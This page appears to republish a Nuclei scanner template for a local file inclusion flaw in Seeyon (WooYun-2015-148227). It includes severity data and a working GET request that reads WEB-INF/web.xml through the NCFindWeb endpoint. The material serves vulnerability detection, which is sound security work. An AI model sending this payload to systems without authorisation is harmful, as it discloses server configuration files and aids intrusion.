wooyun-2015-148227: Seeyon WooYun - Local File Inclusion

2025-08-01 Seeyon WooYun PoC Public

Description

Seeyon WooYun allows remote attackers to include the content of locally stored content and disclose it back to the attacker via local file inclusion.

PoC

id: wooyun-2015-148227

info:
  name: Seeyon WooYun - Local File Inclusion
  author: princechaddha
  severity: high
  description: Seeyon WooYun allows remote attackers to include the content of locally stored content and disclose it back to the attacker via local file inclusion.
  reference:
    - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 1
  tags: seeyon,wooyun,lfi,zhiyuan,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<servlet-name>NCInvokerServlet</servlet-name>"
        part: body

      - type: word
        part: header
        words:
          - "application/xml"
# digest: 4b0a0048304602210094c949709b8ac8140faf41c13f5bd751f8008332f1c64df06cd52ff7ef25704a022100a7323a9f602edd7e4c57b9a949897203157b2ff7ede686062e1afc37dcda8642:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/seeyon/wooyun-2015-148227.yaml

References

Related Vulnerabilities